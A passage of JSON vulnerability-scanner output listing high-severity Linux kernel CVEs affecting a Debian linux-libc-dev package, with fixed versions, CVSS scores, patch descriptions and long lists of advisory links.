"https://git.kernel.org/stable/c/b25eb3d24d03e571f09c04a0522c798ea35e48a1", "https://git.kernel.org/stable/c/dd74a790818ebb9a2be3a94ac935a374755cd278", "https://git.kernel.org/stable/c/f62c060272b9d7423b1650b844e8e4e7b8f9f925", "https://lore.kernel.org/linux-cve-announce/2026052842-CVE-2026-46241-679a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46241", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46241" ], "PublishedDate": "2026-05-28T10:16:39.71Z", "LastModifiedDate": "2026-10-30T13:19:00.287Z" }, { "VulnerabilityID": "CVE-2026-46243", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.174-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46243", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f72c4c5e27efc6629186709a527a775d576383d5253a89222d8ce7b02f925ed1", "Title": "kernel: Linux kernel: smb: client: reject userspace cifs.spnego descriptions", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: reject userspace cifs.spnego descriptions\n\ncifs.spnego key descriptions contain authority-bearing fields such as\npid, uid, creduid, and upcall_target that cifs.upcall treats as\nkernel-originating inputs. However, userspace can also create keys of\nthis type through request_key(2) or add_key(2), allowing those fields to\nbe supplied without CIFS origin.\n\nOnly accept cifs.spnego descriptions while CIFS is using its private\nspnego_cred to request the key.", "Severity": "HIGH", "CweIDs": [ "CWE-20", "CWE-825" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/06/01/6", "https://access.redhat.com/errata/RHSA-2026:23258", "https://access.redhat.com/errata/RHSA-2026:23259", "https://access.redhat.com/errata/RHSA-2026:23329", "https://access.redhat.com/errata/RHSA-2026:23395", "https://access.redhat.com/errata/RHSA-2026:24381", "https://access.redhat.com/errata/RHSA-2026:25908", "https://access.redhat.com/errata/RHSA-2026:26462", "https://access.redhat.com/errata/RHSA-2026:26515", "https://access.redhat.com/errata/RHSA-2026:26535", "https://access.redhat.com/errata/RHSA-2026:26563", "https://access.redhat.com/errata/RHSA-2026:26570", "https://access.redhat.com/errata/RHSA-2026:27708", "https://access.redhat.com/errata/RHSA-2026:27719", "https://access.redhat.com/errata/RHSA-2026:27729", "https://access.redhat.com/errata/RHSA-2026:27735", "https://access.redhat.com/errata/RHSA-2026:28887", "https://access.redhat.com/errata/RHSA-2026:28962", "https://access.redhat.com/errata/RHSA-2026:33219", "https://access.redhat.com/errata/RHSA-2026:33220", "https://access.redhat.com/errata/RHSA-2026:33221", "https://access.redhat.com/errata/RHSA-2026:33222", "https://access.redhat.com/errata/RHSA-2026:33223", "https://access.redhat.com/errata/RHSA-2026:33224", "https://access.redhat.com/errata/RHSA-2026:33225", "https://access.redhat.com/errata/RHSA-2026:33486", "https://access.redhat.com/errata/RHSA-2026:34048", "https://access.redhat.com/errata/RHSA-2026:34757", "https://access.redhat.com/errata/RHSA-2026:34764", "https://access.redhat.com/errata/RHSA-2026:34788", "https://access.redhat.com/errata/RHSA-2026:34815", "https://access.redhat.com/errata/RHSA-2026:36620", "https://access.redhat.com/errata/RHSA-2026:40021", "https://access.redhat.com/errata/RHSA-2026:41236", "https://access.redhat.com/errata/RHSA-2026:47727", "https://access.redhat.com/security/cve/CVE-2026-46243", "https://bugzilla.redhat.com/2461480", "https://bugzilla.redhat.com/2464096", "https://bugzilla.redhat.com/2481486", "https://bugzilla.redhat.com/show_bug.cgi?id=2481486", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://errata.almalinux.org/9/ALSA-2026-24381.html", "https://git.kernel.org/linus/3da1fdf4efbc490041eb4f836bf596201203f8f2%20%287.1-rc5%29", "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3da1fdf4efbc490041eb4f836bf596201203f8f2", "https://git.kernel.org/stable/c/0aece6685fc80a8de492688ca2315fb86ec379c7", "https://git.kernel.org/stable/c/2035acfb17221729b1b8ac335e941868a04ca079", "https://git.kernel.org/stable/c/3da1fdf4efbc490041eb4f836bf596201203f8f2", "https://git.kernel.org/stable/c/7713bd320ed4fc3d08a227cd8e41242219a16981", "https://git.kernel.org/stable/c/91f89c1d83e80417629791fcef6af8140d7d01c8", "https://git.kernel.org/stable/c/9544559e59438a4b609b2fdfa0763d8360572824", "https://git.kernel.org/stable/c/a3bbda6502a9398b816fa2e71c9a3f955f58013d", "https://git.kernel.org/stable/c/cf20038657d6d4974349556a34e08fe0490bebbc", "https://github.com/manizada/CIFSwitch", "https://linux.oracle.com/cve/CVE-2026-46243.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026060140-CVE-2026-46243-3d1c@gregkh/", "https://nvd.nist.gov/vuln/detail/CVE-2026-46243", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46243.json", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8501-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8529-1", "https://ubuntu.com/security/notices/USN-8529-2", "https://ubuntu.com/security/notices/USN-8530-1", "https://ubuntu.com/security/notices/USN-8530-2", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8548-1", "https://ubuntu.com/security/notices/USN-8548-2", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8615-1", "https://ubuntu.com/security/notices/USN-8615-2", "https://ubuntu.com/security/notices/USN-8616-1", "https://ubuntu.com/security/notices/USN-8617-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46243" ], "PublishedDate": "2026-06-01T17:17:34.173Z", "LastModifiedDate": "2026-10-15T02:19:51.103Z" }, { "VulnerabilityID": "CVE-2026-46267", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46267", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:15e6951a0dbcb85c41cc632ef9747282923fd57ae4b517d315aa0a854d11ad32", "Title": "kernel: nfc: hci: shdlc: Stop timers and work before freeing context", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfc: hci: shdlc: Stop timers and work before freeing context\n\nllc_shdlc_deinit() purges SHDLC skb queues and frees the llc_shdlc\nstructure while its timers and state machine work may still be active.\n\nTimer callbacks can schedule sm_work, and sm_work accesses SHDLC state\nand the skb queues. If teardown happens in parallel with a queued/running\nwork item, it can lead to UAF and other shutdown races.\n\nStop all SHDLC timers and cancel sm_work synchronously before purging the\nqueues and freeing the context.\n\nFound by Linux Verification Center (linuxtesting.org) with SVACE.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46267", "https://git.kernel.org/linus/c9efde1e537baed7648a94022b43836a348a074f%20%287.0-rc1%29", "https://git.kernel.org/stable/c/1cb97b1225450af3f7b728777929ba50c6a58ced", "https://git.kernel.org/stable/c/276820278e9717cc7d4bb32381892dd3ddf418d4", "https://git.kernel.org/stable/c/77eef9f2eef045c3c37a3df82d3e661afb866b98", "https://git.kernel.org/stable/c/a24a676329d40481b2331bfa1418a679577dfd3a", "https://git.kernel.org/stable/c/c60f41022eaad2a1dafecd3ae6f249a3bd6d4b6e", "https://git.kernel.org/stable/c/c9efde1e537baed7648a94022b43836a348a074f", "https://git.kernel.org/stable/c/cf70cedce327833296ebe6043364d1e44b76a2ab", "https://lore.kernel.org/linux-cve-announce/2026060338-CVE-2026-46267-5845@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46267", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-46267" ], "PublishedDate": "2026-06-03T18:16:28.32Z", "LastModifiedDate": "2026-07-22T20:10:00.127Z" }, { "VulnerabilityID": "CVE-2026-46285", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46285", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b0fa4be5d9ab157c977e5f16cf2424204f6f1e920b61479366c30d09522f3de3", "Title": "kernel: mtd: docg3: fix use-after-free in docg3_release()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmtd: docg3: fix use-after-free in docg3_release()\n\nIn docg3_release(), the docg3 pointer is obtained from\ncascade-\u003efloors[0]-\u003epriv before the loop that calls\ndoc_release_device() on each floor. doc_release_device() frees the\ndocg3 struct via kfree(docg3) at line 1881. After the loop,\ndocg3-\u003ecascade-\u003ebch dereferences the already-freed pointer.\n\nFix this by accessing cascade-\u003ebch directly, which is equivalent\nsince docg3-\u003ecascade points back to the same cascade struct, and\nis already available as a local variable. This also removes the\nnow-unused docg3 local variable.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46285", "https://git.kernel.org/linus/ca19808bc6fac7e29420d8508df569b346b3e339%20%287.1-rc1%29", "https://git.kernel.org/stable/c/16f6588a3b7a2a20d10ad9b766be74c60ba347cc", "https://git.kernel.org/stable/c/2bf706fe7831b319f23a85b9728f961cfed40c3e", "https://git.kernel.org/stable/c/8408655ec8344511667b61d8257dc59c80ee3391", "https://git.kernel.org/stable/c/ca19808bc6fac7e29420d8508df569b346b3e339", "https://git.kernel.org/stable/c/d26f8c361f751c188b7ebaf8189aa0258968fd98", "https://git.kernel.org/stable/c/d49628d63d4e6bbc8a1621afb88e5fc901611bee", "https://git.kernel.org/stable/c/d89044889ecd11b0c2f86663597246e9bdd25679", "https://git.kernel.org/stable/c/f5d2ed4ed47d3906e2495a3537a48b127f497a17", "https://lore.kernel.org/linux-cve-announce/2026060843-CVE-2026-46285-0239@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46285", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-46285" ], "PublishedDate": "2026-06-08T17:16:46.347Z", "LastModifiedDate": "2026-07-23T08:10:00.137Z" }, { "VulnerabilityID": "CVE-2026-46293", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "will_not_fix", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46293", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1d88dee8514dfc0ff733debcbe56b86786145c50c445fa2566a951b98bd2a6f8", "Title": "kernel: clk: microchip: mpfs-ccc: fix out of bounds access during output registration", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nclk: microchip: mpfs-ccc: fix out of bounds access during output registration\n\nUBSAN reported an out of bounds access during registration of the last\ntwo outputs. This out of bounds access occurs because space is only\nallocated in the hws array for two PLLs and the four output dividers\nthat each has, but the defined IDs contain two DLLS and their two\noutputs each, which are not supported by the driver. The ID order is\nPLLs -\u003e DLLs -\u003e PLL outputs -\u003e DLL outputs. Decrement the PLL output IDs\nby two while adding them to the array to avoid the problem.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46293", "https://git.kernel.org/linus/2f7ae8ab6aa73daaf080d5332110357c29df9c36%20%287.1-rc1%29", "https://git.kernel.org/stable/c/2f7ae8ab6aa73daaf080d5332110357c29df9c36", "https://git.kernel.org/stable/c/47bc7a03449c39805bc2665d3e57c73195d5bcf8", "https://git.kernel.org/stable/c/9ed9b580a814773482c0a4f1be045636e68cc109", "https://git.kernel.org/stable/c/a0780aeea166a7cf4706c45af4cadbb2a43a1fc9", "https://git.kernel.org/stable/c/dbfcb09656cb30439577325c9dea2250203c2e3c", "https://git.kernel.org/stable/c/f24efd415455b98a1f1cfc6071fe6fde71986706", "https://lore.kernel.org/linux-cve-announce/2026060857-CVE-2026-46293-b59c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46293", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46293" ], "PublishedDate": "2026-06-08T17:16:47.63Z", "LastModifiedDate": "2026-07-23T08:10:00.137Z" }, { "VulnerabilityID": "CVE-2026-46294", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46294", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c74d6b9cd32c593f9e24ba46a48b64f226547681c2fb27ca54b7c45ff2ab71e3", "Title": "kernel: dm: fix a buffer overflow in ioctl processing", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm: fix a buffer overflow in ioctl processing\n\nTony Asleson (using Claude) found a buffer overflow in dm-ioctl in the\nfunction retrieve_status:\n\n1. The code in retrieve_status checks that the output string fits into\n the output buffer and writes the output string there\n2. Then, the code aligns the \"outptr\" variable to the next 8-byte\n boundary:\n\toutptr = align_ptr(outptr);\n3. The alignment doesn't check overflow, so outptr could point past the\n buffer end\n4. The \"for\" loop is iterated again, it executes:\n\tremaining = len - (outptr - outbuf);\n5. If \"outptr\" points past \"outbuf + len\", the arithmetics wraps around\n and the variable \"remaining\" contains unusually high number\n6. With \"remaining\" being high, the code writes more data past the end of\n the buffer\n\nLuckily, this bug has no security implications because:\n1. Only root can issue device mapper ioctls\n2. The commonly used libraries that communicate with device mapper\n (libdevmapper and devicemapper-rs) use buffer size that is aligned to\n 8 bytes - thus, \"outptr = align_ptr(outptr)\" can't overshoot the input\n buffer and the bug can't happen accidentally", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46294", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/2fa49cc884f6496a915c35621ba4da35649bf159%20%287.1-rc1%29", "https://git.kernel.org/stable/c/2fa49cc884f6496a915c35621ba4da35649bf159", "https://git.kernel.org/stable/c/448ee8fb79c26a26599ffa4b2adeb4322d3d3d8c", "https://git.kernel.org/stable/c/526ff9126a0ae087b65726e1faf31114c718020d", "https://git.kernel.org/stable/c/5af6a879e915ae7bcd83695c316ebb32e1c61bc2", "https://git.kernel.org/stable/c/8daa6c708ef524089ae43f2aed9190acb26d7df8", "https://git.kernel.org/stable/c/c8c5311237448f6ffeecc9aec2362e3692623668", "https://git.kernel.org/stable/c/d271631023cbe1cbe7c31a0275ab797883be6e0a", "https://git.kernel.org/stable/c/f0b0b09d9840838ae77ccdd6a62de0daef4e6e0a", "https://linux.oracle.com/cve/CVE-2026-46294.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026060857-CVE-2026-46294-dcc8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-46294", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-46294" ], "PublishedDate": "2026-06-08T17:16:47.757Z", "LastModifiedDate": "2026-11-06T17:17:54.643Z" }, { "VulnerabilityID": "CVE-2026-46300", "VendorIDs": [ "DSA-6306-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.174-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46300", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a08a8ce939481dad2f4aee6b6c5bd6567a5382063570aa3fddaa0272cd2743f7", "Title": "kernel: \"Fragnesia\" is a variant of Dirty Frag vulnerability in the ESP/XFRM leading to Local Privilege Escalation (LPE) vulnerability in the Linux kernel", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: skbuff: preserve shared-frag marker during coalescing\n\nskb_try_coalesce() can attach paged frags from @from to @to. If @from\nhas SKBFL_SHARED_FRAG set, the resulting @to skb can contain the same\nexternally-owned or page-cache-backed frags, but the shared-frag marker\nis currently lost.\n\nThat breaks the invariant relied on by later in-place writers. In\nparticular, ESP input checks skb_has_shared_frag() before deciding\nwhether an uncloned nonlinear skb can skip skb_cow_data(). If TCP\nreceive coalescing has moved shared frags into an unmarked skb, ESP can\nsee skb_has_shared_frag() as false and decrypt in place over page-cache\nbacked frags.\n\nPropagate SKBFL_SHARED_FRAG when skb_try_coalesce() transfers paged\nfrags. The tailroom copy path does not need the marker because it copies\nbytes into @to's linear data rather than transferring frag descriptors.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-456", "CWE-123" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46300", "http://www.openwall.com/lists/oss-security/2026/05/13/5", "http://www.openwall.com/lists/oss-security/2026/05/21/11", "http://www.openwall.com/lists/oss-security/2026/05/21/12", "http://www.openwall.com/lists/oss-security/2026/05/21/13", 